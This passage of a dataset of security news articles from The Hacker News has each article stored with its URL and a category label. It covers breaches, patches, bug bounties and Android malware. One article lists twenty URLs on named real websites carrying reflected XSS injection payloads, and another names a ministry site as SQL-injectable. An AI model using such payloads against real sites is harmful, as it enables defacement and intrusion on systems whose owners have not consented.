The company revealed on Sunday that unknown attacker(s) managed to break into its Cloud Computing Environment and access the data of entire 21 million users, including their names, email addresses, and approximately 4.7 million phone numbers attached to their accounts.
""We learned of the breach while it was still in progress, and were able to interrupt it, but data was taken. Some data was breached,"" the company wrote in a security advisory posted on its website.

Social Media OAuth2 Tokens Also Compromised

Moreover, the attackers also got their hands on authorization tokens (keys) provided by other social networking sites to Timehop for gaining access to your social media posts and images.

With access to these tokens, hackers could view some of your posts on Facebook and other social networks without your permission.

However, Timehop claims that all the compromised tokens were deauthorized and made invalid within a ""short time window"" after the company detected the breach on its network on July 4th at 4:23 PM Eastern Time.

The stolen access tokens cannot be now used to gain access to any of your social media profiles, and the company also claims that there is ""no evidence that this actually happened.""
""In addition to our communications with local and federal law enforcement, we are also in contact with all our social media providers, and will update users as needed, but again: there are no credible reports, and there has been no evidence of, any unauthorized use of these access tokens,"" the company said.
It should also be noted that these authorization tokens do not give anyone, including the company itself, access to your private messages on Facebook Messenger, Direct Messages on Twitter and Instagram, and things that your friends post to your Facebook wall.

Timehop is also confident that the security breach did not affect your private/direct messages, financial data, social media and photo content, and other Timehop data including streaks and memories.

Timehop also pointed out that there was no evidence that any account was accessed without authorization.

Data Breach Aided By Lack of Two-Factor Authentication

""The breach occurred because an access credential to our cloud computing environment was compromised,"" Timehop said.
The same day Timehop identified the breach on its network, we reported about the Gentoo GitHub account hack that allowed intruders to replace the content of the project's repositories and pages with the malicious one, after guessing the account password.

The Gentoo breach was aided by the lack of two-factor authentication (2FA) for its Github account. The 2FA makes it mandatory for users to enter an additional passcode besides the password in order to gain access to the account.

The same happened with Timehop.

Since the company was not using two-factor authentication, the attacker(s) were able to gain access to its cloud computing environment by using compromised credential.

Timehop has now taken some new security measures that include system-wide multifactor authentication to secure its authorization and access controls on all accounts.

Timehop immediately logged out all of its users of the app after the company invalidated all API credentials, which means you will need to re-authenticate each of your social media accounts to the app when you log into your Timehop account to generate a new token.

The company is also working with security experts and incident response professionals, local and federal law enforcement officials, and its social media providers to minimize the impact of the breach on its users.

Since the new GDPR privacy law defines a breach as ""likely to result in a risk to the rights and freedoms of the individuals,"" Timehop claims to have notified all of its affected European users and is working closely with GDPR experts to assist in the countermeasures.

To know more about the incident and how it happened, you can head on to the technical report published by Timehop, which provides a more detailed breakdown of the security incident.

",Data_Breaches
Hacking PayPal Account with Just a Click,https://thehackernews.com/2014/12/hacking-paypal-account.html,"The eBay owned popular digital payment and money transfer service, PayPal has been found to be vulnerable to a critical web application vulnerability that could allow an attacker to take control over users' PayPal account with just a click, affecting more than 156 millions PayPal users.

An Egyptian security researcher, Yasser H. Ali has discovered three critical vulnerabilities in PayPal website including CSRF, Auth token bypass and Resetting the security question, which could be used by cybercriminals in the targeted attacks.

Cross-Site Request Forgery (CSRF or XSRF) is a method of attacking a website in which an attacker need to convince the victim to click on a specially crafted HTML exploit page that will make a request to the vulnerable website on their behalf.

Mr.Yasser demonstrated the vulnerability step-by-step in the Proof-of-Concept (PoC) video using a single exploit that combines all the three vulnerabilities. According to the demo, using Paypal CSRF exploit an attacker is able to secretly associate a new secondary email ID (attacker's email) to the victim's account, and also reset the answers of the security questions from target account.

PayPal uses security Auth tokens for detecting the legitimate requests from the account holder, but Mr. Yasser successfully bypassed it to generate exploit code for targeted attacks, as shown in the video.
Yasser told The Hacker News, ""I found out that the CSRF Auth is Reusable for that specific user email address or username, this means If an attacker found any of these CSRF Tokens, He can then make actions in the behave of any logged in user.""
Once executed, the exploit will add attacker's email id to victim's account, which could be used to reset the account password using ""Forgot Password"" option from the Paypal website. But the attacker can not change the victim's password without answering the security questions configured by user while signing up.

Yasser found that another bug in PayPal allows him to reset the security questions and their answers of his choice, hence this facilitates him to bypass the PayPal security feature completely in order to reset the new password for the victim's account.

Paypal security team has patched the vulnerability following the Yasser's report via Bug Bounty Program. Three Month ago, Yasser found similar bug in eBay website that allowed hackers to hijack any eBay account in just 1 minute.

UPDATE
PayPal spokesperson released the following statement:
""One of our security researchers recently made us aware of a potential way to bypass PayPal's Cross-Site Request Forgery (CSRF) Protection Authorization System when logging onto PayPal.com. Through the PayPal Bug Bounty program, the researcher reported this to us first and our team worked quickly to fix this potential vulnerability before any of our customers were affected by this issue. We proactively work with security researchers to learn about and stay ahead of potential threats because the security of our customers' accounts is our top concern.""

",Vulnerability
DKFBootKit - First Android BootKit Malware,https://thehackernews.com/2012/03/dkfbootkit-first-android-bootkit.html,"DKFBootKit - First Android BootKit Malware

NQ Mobile Security Research Center has recently uncovered a new malware DKFBootKit. This malware is identified when monitoring and analyzing the evolution of earlier DroidKungFu variants. What sets DKFBootKit apart from malware like DroidDream, is that DKFBootKit replaces certain boot processes and can begin running even before the system is completely booted up.

DKFBootKit repackages legitimate apps by enclosing its own malicious payloads in them. However, the victim apps it chooses to infect are utility apps which require the root privilege to work properly. NQ says the malicious code has already infected 1,657 Android devices in the past two weeks and has appeared on at least 50 different mobile apps.

These apps seem to have legitimate reasons to request root privilege for their own functionality. It is also reasonable to believe that users will likely grant the root privilege to these apps. DKFBootKit makes use of the granted root privilege for other malicious purposes, namely comprising the system integrity.

In order to avoid being infected by this beast, NQ recommends three commonsense steps:
First, don't download any apps from sketchy app stores.
Second, don't accept app permissions from unknown sources and always be sure to read the permissions an app is requesting.
Third, download a security app that can scan your apps for you to search for malicious code.
NQ Mobile Security for Android is available for download.

",Vulnerability
Is China Behind the Massive Data Theft of 4 Million U.S. Officials?,https://thehackernews.com/2015/06/china-data-theft.html,"The US federal agency has notified its 4 Million current and former government employees that their private data has been compromised in a massive data breach.

Hackers managed to break into US government computer systems in the Office of Personnel Management (OPM) and steal records of Millions of employees, making it one of the largest known breaches of information ever on federal workers.

The stolen information includes birth dates, credit card data, banking records, security clearance information, and background checks dating back three decades, potentially affecting people across the spectrum of the federal agency.

The massive breach is believed to be carried out by the hackers based in China, the Obama administration announced on Thursday. The breach is believed to be an ""attack against the (American) nation.""

Biggest Data Breach in US History

However, China has denied any involvement in what could be the largest cyber-attack in US history by calling such claims ""irresponsible"".
""Cyber attacks are generally anonymous and conducted across borders, and their origins are hard to trace,"" said Hong Lei, a foreign ministry spokesman. ""Not to carry out deep investigation and keep using words such as 'possible' is irresponsible and unscientific.""
The Federal Bureau of Investigation (FBI) has been working with OPM interagency partners to investigate the matter. Meanwhile, OPM assured its users that it is taking all potential threats seriously, and will hold accountable those who are behind the attack.

Malicious Activity

OPM said it became aware of the data breach in April this year when it detected new malicious activity affecting its cyber security systems.

However at the beginning of last month, the Department of Homeland Security concluded that the agency's personal data had been compromised in the 'massive breach', and about 4 million government officials may have been affected.

OPM said it would contact and inform all those individuals whose personal data may have been stolen to ""monitor [their] financial account statements and immediately report any suspicious or unusual activity to financial institutions.""

OPM is also offering 18 months of free credit monitoring and identity theft insurance to all those are affected by the breach.

According to many United States officials who requested anonymity, the criminal hackers were believed to have been based in China. However, it is yet unclear if there is any involvement of the Chinese government.

The FBI and the Department of Homeland Security are investigating the breach.

",Cyber_Attack
RollJam — $30 Device That Unlocks Almost Any Car And Garage Door,https://thehackernews.com/2015/08/rolljam-unlock-car-garage.html,"We have talked a lot about car hacking.

Recently researchers even demonstrated how hackers can remotely hijack Jeep Cherokee to control its steering, brakes and transmission.

Now, researchers have discovered another type of car hack that can be used to unlock almost every car or garage door.

You only need two radios, a microcontroller and a battery, costing barely under $30, to devise what's called RollJam capable to unlock any car or garage at the click of a button, making auto hacking cars so simple that anyone can do it.

The recent hack takes advantage of the same vulnerable wireless unlocking technology that is being used by the majority of cars manufacturers.

These wireless unlocking systems are Keyless entry systems that enable the car owner to unlock his car just by pressing a button sitting at his workplace remotely (within a range of 20 metres).

What RollJam does and How?

RollJam steals the secret codes, called Rolling Code, that is generated every time you press the unlock or lock button on your wireless key, and expires once they are used, according to Samy Kamkar, a white hat hacker behind RollJam.

The rolling code is basically a randomly generated pseudo code that is sent over a radio frequency to your car when you press the keyfob. The lock has a synchronized code generator that recognizes it and then destroys it so it can never be reused.

The key and the car then generate new code for the next time around, and the process repeats.

However, When a person presses the key fob to unlock his or her car, RollJam used its radio frequency in such a way that it first jams or blocks the signal and then covertly records it, forcing the car owner to press the button again.

Now, when the button is pressed the second time, the RollJam again jams the signal and record that second code, but also take the opportunity on the same signal to replay the first code it intercepted, unlocking the car.

So, when the victim parks his/her car, you can use that stolen signal to unlock the car. ""Because I jammed two signals,"" Kamkar said, ""I still have one that I can use in the future.""

This process of RollJam has been tested on several makes of cars, and all were found vulnerable.

During a successful test, he found that RollJam works against a range of market-leading chips, including the High-Security Rolling Code Generator made by National Semiconductor and the KeeLoq access control system from Microchip Technology.

The $30 device was successful in unlocking electronic locks on cars, including Chrysler, Fiat, Honda, Toyota, Daewoo, GM, Volvo, Volkswagen Group, Clifford, Shurlok, and Jaguar.

Moreover, RollJam also works against some garage-door openers, including the Rolling Code Garage Door Opener manufactured by King Cobra.

RollJam is damaging the security because the rolling codes are invalidated only after it or a subsequent rolling code is received.

Devices like the RSA SecurID, by contrast, cause validation codes to expire after a specific amount of time. Therefore, Rolling Code in cars should also be associated with a period of time, researcher said.

Another way to mitigate hacks like RollJam is using a unique chip for every different car. Kamkar plans to present his creation at the hacker conference DefCon in Las Vegas.

",Vulnerability
New Google Chrome Zero-Day Vulnerability Found Actively Exploited in the Wild,https://thehackernews.com/2019/03/update-google-chrome-hack.html,"You must update your Google Chrome immediately to the latest version of the web browsing application.

Security researcher Clement Lecigne of Google's Threat Analysis Group discovered and reported a high severity vulnerability in Chrome late last month that could allow remote attackers to execute arbitrary code and take full control of the computers.

The vulnerability, assigned as CVE-2019-5786, affects the web browsing software for all major operating systems including Microsoft Windows, Apple macOS, and Linux.

Without revealing technical details of the vulnerability, the Chrome security team only says the issue is a use-after-free vulnerability in the FileReader component of the Chrome browser, which leads to remote code execution attacks.

What's more worrisome? Google warned that this zero-day RCE vulnerability is actively being exploited in the wild by attackers to target Chrome users.

""Access to bug details and links may be kept restricted until a majority of users are updated with a fix,"" the Chrome security team notes. ""We will also retain restrictions if the bug exists in a third party library that other projects similarly depend on, but haven't yet fixed.""

FileReader is a standard API that has been designed to allow web applications to asynchronously read the contents of files (or raw data buffers) stored on a user's computer, using 'File' or 'Blob' objects to specify the file or data to read.
The use-after-free vulnerability is a class of memory corruption bug that allows corruption or modification of data in memory, enabling an unprivileged user to escalate privileges on an affected system or software.

The use-after-free vulnerability in the FileReader component could enable unprivileged attackers to gain privileges on the Chrome web browser, allowing them to escape sandbox protections and run arbitrary code on the targeted system.

It appears to exploit this vulnerability, all an attacker needs to do is tricking victims into just opening, or redirecting them to, a specially-crafted webpage without requiring any further interaction.

The patch for the security vulnerability has already been rolled out to its users in a stable Chrome update 72.0.3626.121 for Windows, Mac, and Linux operating systems, which users may have already receive or will soon receive in coming days.

So, make sure your system is running the updated version of the Chrome web browser.

We will update the article, as soon as Google releases technical details of this vulnerability.

",Vulnerability
Ministry of Justice of Qatar vulnerable to hackers,https://thehackernews.com/2012/12/ministry-of-justice-of-qatar-vulnerable.html,"Hacker Going by name ""human mind cracker"" discovered SQL injection vulnerability in official website of Ministry of Justice of Qatar. He has successfully breached the database and dump it on internet.

Exploited Domain : https://www.justice.gov.qa

Hacker Mentioned no reason to hack this website in his note, neither any user information published. According to the note, he just expose the bug and exploit it using Boolean based blind injection to show Database structure including table names.

There are about 10 Database available on server of Ministry of Justice of Qatar, that can have sensitive information also. Site is not patched yet and vulnerable to hackers.

Pastebin Note : https://pastebin.com/7amjyaMk

",Vulnerability
20 Famous websites vulnerable to Cross Site Scripting (XSS) Attack,https://thehackernews.com/2011/09/20-famous-websites-vulnerable-to-cross.html,"20 Famous websites vulnerable to Cross Site Scripting (XSS) Attack
Most of the biggest and Famous sites are found to be Vulnerable to XSS attack . Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications which allow code injection by malicious web users into the web pages viewed by other users. Examples of such code include HTML code and client-side scripts. An exploited cross-site scripting vulnerability can be used by attackers to bypass access controls such as the same origin policy. Recently, vulnerabilities of this kind have been exploited to craft powerful phishing attacks and browser exploits. Cross-site scripting was originally referred to as CSS, although this usage has been largely discontinued.

Hacker with code name ""Invectus"" list some such famous sites with XSS vulnerability as listed below :
1.) https://video.state.gov/en/search/img-srchttp-i55tinypiccom-witu7dpng-height650-width1000/Ij48aW1nIHNyYz0iaHR0cDovL2k1NS50aW55cGljLmNvbS93aXR1N2QucG5nIiBoZWlnaHQ9IjY1MCIgd2lkdGg9IjEwMDAiPg%3D%3D

2.) https://www.telegraph.co.uk/search/?queryText=%22%3E%3Cimg%20src=%22https://i55.tinypic.com/witu7d.png%22%20height=%22650%22%20width=%221000%22%3E

3.) https://www.dsm.com/en_US/cworld/public/home/pages/searchResults.jsp?search-site=%22%3E%3Cimg+src%3D%22http%3A%2F%2Fi55.tinypic.com%2Fwitu7d.png%22+height%3D%22650%22+width%3D%221000%22%3E&noMimimumKeywords=false

4.) https://www.schools.nsw.edu.au/psearch/ext/?refine=new&QueryText=%22%3E%3Cimg+src%3D%22http%3A%2F%2Fi55.tinypic.com%2Fwitu7d.png%22+height%3D%22650%22+width%3D%221000%22%3E&Go.x=29&Go.y=25&Go=submit

5.) https://thetablet.co.uk/search.php?q=%22%3E%3Cimg%20src=%22https://i55.tinypic.com/witu7d.png%22%20height=%22650%22%20width=%221000%22%3E

6.) https://www.scstatehouse.gov/cgi-bin/query.exe?first=FIRST&querytext=&category=%22%3E%3Cimg%20src=%22https://i55.tinypic.com/witu7d.png%22%20height=%22650%22%20width=%221000%22%3E

7.) https://www.highered.tafensw.edu.au/vsearch/tafehigheredu/?QueryText=%22%3E%3Cimg%20src=%22https://i55.tinypic.com/witu7d.png%22%20height=%22650%22%20width=%221000%22%3E

8.) https://www.mcdonalds.com/content/us/en/search/search_results.html?queryText=%22%3E%3Cimg%20src=%22https://i55.tinypic.com/witu7d.png%22%20height=%22650%22%20width=%221000%22%3E

9.) https://www.watersportholland.nl/cgi-bin/watersportholland/zoeken.cgi?search=Vera&query=%22%3E%3Cimg+src%3D%22http%3A%2F%2Fi55.tinypic.com%2Fwitu7d.png%22+height%3D%22650%22+width%3D%221000%22%3E

10.) https://www.gpo.gov/fdsys/search/searchresults.action?st=%22%3E%3Cimg%20src=%22https://i55.tinypic.com/witu7d.png%22%20height=%22650%22%20width=%221000%22%3E

11.) https://www.networkcomputing.com/sitesearch?sort=publishDate+desc&queryText=%22%3E%3Cimg+src%3D%22http%3A%2F%2Fi55.tinypic.com%2Fwitu7d.png%22+height%3D%22650%22+width%3D%221000%22%3E

12.) https://www.unc.edu/search/index.htm?q=%22%3E%3Cimg+src%3D%22http%3A%2F%2Fi55.tinypic.com%2Fwitu7d.png%22+height%3D%22650%22+width%3D%221000%22%3E&cx=014532668884084418890%3Ajyc_iub1byy&cof=FORID%3A10&ie=UTF-8&hq=inurl%3Adevnet.unc.edu

13.) https://cugir.mannlib.cornell.edu/search?querytext=%22%3E%3Cimg%20src=%22https://i55.tinypic.com/witu7d.png%22%20height=%22650%22%20width=%221000%22%3E

14.) https://ieeexplore.ieee.org./search/freesearchresult.jsp?newsearch=true&queryText=.QT.%3E%3Cimg+src.EQ..QT.http%3A%2F%2Fi55.tinypic.com%2Fwitu7d.png.QT.+height.EQ..QT.650.QT.+width.EQ..QT.1000.QT.%3E&x=58&y=13

15.) https://vivo-vis.cns.iu.edu/vivo1/search?querytext=%22%3E%3Cimg+src%3D%22http%3A%2F%2Fi55.tinypic.com%2Fwitu7d.png%22+height%3D%22650%22+width%3D%221000%22%3E

16.) https://google.nyu.edu/search?site=NYUWeb_Main&client=NYUWeb_Main&output=xml_no_dtd&proxyreload=1&proxystylesheet=stern_frontend&sitesearch=www.stern.nyu.edu&q=%22%3E%3Cimg+src%3D%22http%3A%2F%2Fi55.tinypic.com%2Fwitu7d.png%22+height%3D%22650%22+width%3D%221000%22%3E&x=8&y=6

17.) https://ofa.fas.harvard.edu/cal/search.php?q=%22%3E%3Cimg%20src=%22https://i55.tinypic.com/witu7d.png%22%20height=%22650%22%20width=%221000%22%3E

18.) https://www.uidaho.edu/search?q=%22%3E%3Cscript%3EInvectus%3C/script%3E&cof=FORID:9&cref=https://www.uidaho.edu/search?xml=1&ticks=634508915004972966

19.) https://vivo.ufl.edu/search?flag1=1&querytext=%22%3E%3Cimg+src%3D%22http%3A%2F%2Fi55.tinypic.com%2Fwitu7d.png%22+height%3D%22650%22+width%3D%221000%22%3E

20.) https://energy.gov/search/site/%22%3E%3Cimg%20src%3D%22http%3A//i55.tinypic.com/witu7d.png%22%20height%3D%22650%22%20width%3D%221000%22%3E

",Vulnerability
"Get paid up to $40,000 for finding ways to hack Facebook or Instagram accounts",https://thehackernews.com/2018/11/cybersecurity-bug-bounty.html,"Here we have great news for all bug bounty hunters.

Now you can get paid up to $40,000 for finding and responsibly reporting critical vulnerabilities in the websites and mobile applications owned by Facebook that could allow cyber attackers to take over user accounts.

In the latest post published Tuesday on the Facebook page, the social networking giant announced that it has raised the monetary reward for account takeover vulnerabilities to encourage security researchers and bug bounty hunters in helping Facebook to fix high impact issues before nefarious hackers exploit them.

The announcement says:

Cybersecurity researchers who find security vulnerabilities in any products owned by Facebook, including Instagram, WhatsApp, and Oculus, that can lead to a full account takeover, including access tokens leakage or the ability to access users' valid sessions, will be rewarded an average bounty of:
$40,000 reward—if user interaction is not required at all
$25,000 reward—if minimum user interaction is required
""We encourage researchers to share their proof of concept reports with us without having to also discover bypasses for Facebook defense mechanisms,"" Facebook said.

""By increasing the award for account takeover vulnerabilities and decreasing the technical overhead necessary to be eligible for bug bounty, we hope to encourage an even larger number of high quality submissions from our existing and new white hat researchers to help us secure over 2 billion users.""

In recent years Facebook has paid out millions of dollars to white hat hackers under its bug bounty program for reporting flaws in its services and helping the company fix them.

The move apparently comes in response to a recent massive data breach in Facebook that allowed attackers to gather personal information of around 30 million Facebook users using stolen access tokens by exploiting a zero-day vulnerability in its ""View As"" feature.

If you find any vulnerability in Facebook-owned platforms, report it to the company through its bug bounty program.

2018 has been quite a terrible year for Facebook with the most significant revelation being the Cambridge Analytic scandal that exposed personal data of 87 million Facebook users.

The social network also suffered its worst-ever security breach in September that exposed highly sensitive data of 14 million users.

In June, the company suffered another issue affecting 14 million users, wherein users' posts that were meant to be private became public.

These incidents came out to be a failure of the company in keeping the information of its 2.2 billion users protected while generating billions of dollars in revenue from the same information.
",Vulnerability
Unfixed Reflection API vulnerability reported in Java,https://thehackernews.com/2013/04/unfixed-reflection-api-vulnerability.html,"Founder and CEO of Security Explorations of Poland, Adam Gowdiak has reported a new unpatched security vulnerability in JAVA that affects all Java versions, including 7u21 released last Tuesday.

Gowdiak claims to have sent to Oracle a report about a reflection API vulnerability in the newly shipped Server Java Runtime Environment (JRE), notifying them of the new security weakness. ""It can be used to achieve a complete Java security sandbox bypass on a target system,""


Vulnerability allows attackers to completely bypass the language's sandbox to access the underlying system. Gowdiak has not published any further details about the vulnerability in order to give Oracle time to patch the problem.

Last week's Oracle patch update repaired many issues plaguing the platform. Java 7 Update 21 contains 42 new security fixes for Oracle Java SE. A majority of these flaws are browse-to–a-hacked-site-and-get-infected vulnerabilities.

According to Oracle, ""39 of these vulnerabilities may be remotely exploitable without authentication, i.e., may be exploited over a network without the need for a username and password""

He first reported vulnerabilities in the Reflection API a year ago, and he said that this vulnerability is present in the server versions of the Java Runtime Environment, as well as in the JRE Plugin and JDK software.

",Vulnerability
New Malware Replaced Legit Android Apps With Fake Ones On 25 Million Devices,https://thehackernews.com/2019/07/whatsapp-android-malware.html,"Are you sure the WhatsApp app you are using on your Android device is legitimate, even if it's working perfectly as intended?

...Or the JioTV, AppLock, HotStar, Flipkart, Opera Mini or Truecaller app—if you have installed any of these?

I'm asking this because cybersecurity researchers just yesterday revealed eye-opening details about a widespread Android malware campaign wherein attackers silently replaced installed legitimate apps with their malicious versions on nearly 25 million mobile phones.

Now the important question here is how they're doing it and why?

According to researchers at Check Point, attackers are distributing a new kind of Android malware that disguises itself as innocent-looking photo editing, adult entertainment, or gaming apps and available through widely used third-party app stores.

Dubbed Agent Smith, the malware takes advantage of multiple Android vulnerabilities, such as the Janus flaw and the Man-in-the-Disk flaw, and injects malicious code into the APK files of targeted apps installed on a compromised device and then automatically re-install/updates them without the victims' knowledge or interaction.

""It's not enough for this malware family to swap just one innocent application with an infected double. It does so for each and every app on the device as long as the package names are on its prey list,"" the researchers wrote in their report published Wednesday.

""Over time, this campaign will also infect the same device, repeatedly, with the latest malicious patches. This leads us to estimate there to be over 2.8 billion infections in total, on around 25 Million unique devices, meaning that on average, each victim would have suffered roughly 112 swaps of innocent applications.""


The malware, which researchers believe is tied to a China-based firm, has been designed for financial gain by serving malicious advertisements to victims.

How Does Agent Smith Malware Work?

Upon installation of boobytrapped apps, the Agent Smith malware leverages a three-stage infection chain and contains different modules for each step, working of which are explained below:

1.) Loader Module — The initial app distributing the malware contains a module called Loader, whose only purpose is to decrypt, extract, and run the second stage module named Core.

2.) Core Module — Once executed, the Core module communicates with the attackers' C&C server to receive a list of popular apps that needs to be targeted.
If it finds a match installed on the victim's device, the Core module tries to infect the targeted APK using the Janus vulnerability or by simply recompiling the APK with a malicious payload.

Further, to automatically install the modified APK and replace its original version without users' consent, attackers utilize a series of 1-day vulnerabilities, including man-in-the-disk attack.

3.) Boot Module — This module is included in the malicious payload that was bundled with the original app and worked the same as the Loader module. It extracts and executes a malicious payload, called the Patch module when a victim runs the modified application.

4.) Patch Module — The patch module has been designed to prevent modified applications from getting legitimate updates, which if installed, would revert all malicious changes.

""While investing a lot of resources in the development of this malware, the actor behind Agent Smith does not want a real update to remove all of the changes made, so here is where the Patch module comes in to play""

""With the sole purpose of disabling automatic updates for the infected application, this module observes the update directory for the original application and removes the file once it appears.""

6.) AdSDK Module — This is the actual payload that displays ads to the victims for financial gain and further also infects the device with other adware families.

However, the researchers warn that this modular malware could be easily adapted for far more intrusive and harmful purposes, such as stealing sensitive information—from private messages to banking credentials and much more.

Researchers initially encountered the Agent Smith malware in early 2019, which was primarily being found targeting Android devices in India (with 15 million infected devices) and other nearby Asian countries like Pakistan, Bangladesh, Indonesia, and Nepal.
However, the malware also affected a noticeable number of devices in the United States (more than 300,000 infected devices), Australia (over 140,000 infected devices) and the United Kingdom (over 135,000 infected devices).

Besides third-party app stores, researchers also found at least 11 infected apps on the Google Play Store in recent months containing malicious yet inactive Agent Smith components.

This clearly indicates that the threat actors behind this malware campaign are also trying to find a way in Google's mobile app download platform to spread their adware. Google has reportedly removed all the apps from its store.

Since Agent Smith has mostly infected users who downloaded apps from third-party app stores, users are highly recommended always to download apps from trusted app stores to mitigate the risk of infection. Also, download apps only from trusted developers.

Users are also advised to uninstall any apps they suspect may be malicious by heading on to Settings Menu, clicking Apps or Application Manager, and then Scroll to the suspected app and uninstall it.

Since the key vulnerability Agent Smith is exploiting dates back to 2017 and has already been patched, mobile app developers are recommended to implement the latest APK Signature Scheme V2 to prevent malicious apps from leveraging Android's Janus vulnerability against their apps.

",Vulnerability
The Oak Ridge National Laboratory Hacked !,https://thehackernews.com/2011/04/oak-ridge-national-laboratory-hacked.html,"A top United States federal lab was the victim of a ""silent"" cyberattack earlier this month, news outlets are reporting

The Oak Ridge National Laboratory in Tennessee was the victim, according to Nextgov.com. The lab is an energy department laboratory that studies nuclear fusion, supercomputing, and other areas. Ironically, ""one of the core competencies of the lab is cybersecurity research,"" according to a quote on Wired. The attack prompted a shutdown of e-mail and Internet access at the facility.

The attack vector used to break into Oak Ridge's network is known as an advanced persistent threat, or APT. Nextgov describes it thus: ""APTs typically infiltrate a target by e-mailing its employees messages purportedly from legitimate associates that ask the employee to submit personal information, such as passwords, and then harvest this information to access the systems they are after. Once inside the network, the perpetrators often try to extract data -- perhaps proprietary designs or classified information.""

Wired provides more details of the attack:
According to Zacharia, the intrusion came in the form of a spear-phishing email sent to lab employees on April 7. The e-mail, purportedly sent from the human resources department, discussed employee benefits and included a link to a malicious web page, where malware exploited the IE vulnerability to download additional code to users' machines.
The attackers cast their net wide in the company, but hooked only two computers in the phishing scheme, Zacharia said. About 530 employees received the e-mail — out of about 5,000 workers — but only 57 people clicked on the malicious link in the correspondence. Out of this, only two machines got infected with the malware.
The lab began to block the malicious emails soon after they began coming in, but it was already too late. On April 11, administrators discovered a server had been breached when data began leaving the network. Workers cleaned up the infected system, but early Friday evening ""a number of other servers suddenly [went] active with the malware,"" Zacharia said. The malware had apparently laid dormant for a week before it awoke on those systems. That's when the lab blocked internet access.
Zacharia said the malware ""masked itself"" on systems and was designed to erase itself if it tried to compromise a system and was unsuccessful.

According to NetworkWorld, the attack was an attempt to steal data, although it is believed that no significant data has been lost thus far. The lab's director of communications is quoted in the article as stating that no one knows where the attacks originated. According to Knoxnews, the attack involved a zero-day exploit that took advantage of a vulnerability in Internet Explorer.

The news comes only a month after the highly publicized APT attack on security vendor RSA, and is further proof that no group or company is immune to these attacks.

",Malware
WARNING: A New Android Zero-Day Vulnerability Is Under Active Attack,https://thehackernews.com/2021/03/warning-new-android-zero-day.html,"Google has disclosed that a now-patched vulnerability affecting Android devices that use Qualcomm chipsets is being weaponized by adversaries to launch targeted attacks.
Tracked as CVE-2020-11261 (CVSS score 8.4), the flaw concerns an ""improper input validation"" issue in Qualcomm's Graphics component that could be exploited to trigger memory corruption when an attacker-engineered app requests access to a huge chunk of the device's memory.
""There are indications that CVE-2020-11261 may be under limited, targeted exploitation,"" the search giant said in an updated January security bulletin on March 18.
CVE-2020-11261 was discovered and reported to Qualcomm by Google's Android Security team on July 20, 2020, after which it was fixed in January 2021.
It's worth noting that the access vector for the vulnerability is ""local,"" meaning that exploitation requires local access to the device. In other words, to launch a successful attack, the bad actor must either have physical access to the vulnerable smartphone or use other means - e.g., a watering hole - to deliver malicious code and set off the attack chain.
While specifics about the attacks, the identity of the attacker, and the targeted victims have not been released, it is not unusual for Google to withhold sharing such information to prevent other threat actors from taking advantage of the vulnerability.
If anything, the development once again underscores the need to promptly install monthly security updates as soon as they are available to prevent Android devices from being exploited. We've reached out to Google for comment and will update this article if we hear back.

",Malware
Cisco 'Knowingly' Sold Hackable Video Surveillance System to U.S. Government,https://thehackernews.com/2019/08/cisco-surveillance-technology.html,"Cisco Systems has agreed to pay $8.6 million to settle a lawsuit that accused the company of knowingly selling video surveillance system containing severe security vulnerabilities to the U.S. federal and state government agencies.

It's believed to be the first payout on a 'False Claims Act' case over failure to meet cybersecurity standards.

The lawsuit began eight years ago, in the year 2011, when Cisco subcontractor turned whistleblower, James Glenn, accused Cisco of continue selling a video surveillance technology to federal agencies even after knowing that the software was vulnerable to multiple security flaws.

According to the court documents seen by The Hacker News, Glenn and one of his colleagues discovered multiple vulnerabilities in Cisco Video Surveillance Manager (VSM) suite in September 2008 and tried to report them to the company in October 2008.

Cisco Video Surveillance Manager (VSM) suite allows customers to manage multiple video cameras at different physical locations through a centralized server, which in turn, can be accessed remotely.

The vulnerabilities could have reportedly enabled remote hackers to gain unauthorized access to the video surveillance system permanently, eventually allowing them to gain access to all video feeds, all stored data on the system, modify or delete video feeds, and bypass security measures.
Apparently, Net Design, the Cisco contractor where Glenn was working at that time, fired him shortly after he reported Cisco's security violations, which the company officially described as a cost-cutting measure.

However, in 2010, when Glenn realized that Cisco never fixed those issues neither notified its customers, he informed the U.S. federal agency, who then launched a lawsuit claiming Cisco had defrauded U.S. federal, state and local governments who purchased the product.

Cisco, directly and indirectly, sold its VSM software suit to police departments, schools, courts, municipal offices and airports as we as to many government agencies including the U.S. Department of Homeland Security, the Secret Service, the Navy, the Army, the Air Force, the Marine Corps and the Federal Emergency Management Agency (FEMA).

""Cisco has known of these critical security flaws for at least two and a half years; it has failed to notify the government entities that have purchased and continue to use VSM of the vulnerability,"" the lawsuit states.

""Thus, for example, an unauthorized user could effectively shut down an entire airport by taking control of all security cameras and turning them off. Alternately, such a hacker could access the video archives of a large entity to obscure or eliminate video evidence of theft or espionage.""

After the lawsuit was filed, the company acknowledged the vulnerabilities (CVE-2013-3429, CVE-2013-3430, CVE-2013-3431) and released an updated version of its VSM software suit.

As part of the lawsuit, Cisco has finally agreed to pay $8.6 million in the settlement—of which Glenn and his lawyers will receive $1.6 million and the rest $7 million going to the federal government and the 16 states that purchased the affected product.

In response to the latest settlement, Cisco issued an official statement Wednesday saying it was ""pleased to have resolved"" the 2011 dispute and that ""there was no allegation or evidence that any unauthorized access to customers' video occurred"" as a result of its VSM suit's architecture.

However, the company added that video feeds could ""theoretically have been subject to hacking,"" though the lawsuit has not claimed that anyone had exploited the vulnerabilities discovered by Glenn.

",Vulnerability
Google releases Security Patch for Android Stagefright 2.0 Vulnerability,https://thehackernews.com/2015/10/Android-Stagefright.html,"Google reportedly fixed the latest round of Stagefright vulnerabilities in Android, pushing its latest over-the-air (OTA) update to Nexus devices.

Last week, researchers warned of Stagefright 2.0 vulnerability that affected more than one Billion Android devices dating back to the latest versions of the Android operating system.

The Stagefright bugs allowed hackers to take control of affected Android devices by sending a malicious audio or video file.

In April, Zimperium researchers disclosed the first Stagefright vulnerability that allowed hackers to hijack any Android smartphones with just a simple text message (exploit code).

As promised, Google on Monday pushed a patch that fixes the holes in Stagefright media playback engine used by Android to process, record and play multimedia files such as PDFs.

The patch fixes 30 vulnerabilities in total, which includes:
14 critical vulnerabilities in Stagefright library
5 Remote Code Execution bugs
8 Elevation of Privilege bugs
2 Denial of Service Vulnerabilities in Mediaserver
Despite the disclosure of the vulnerabilities, Google said that the company had ""no reports of active customer exploitation of these newly reported issues.""

HTC devices will probably have to wait to receive the patch, as indicates a tweet by CEO Jason Mackenzie.

Nexus devices have already received the patch through OTA update, but it is still unclear how long it will take for Samsung and LG to release the patch for their respective flagships.

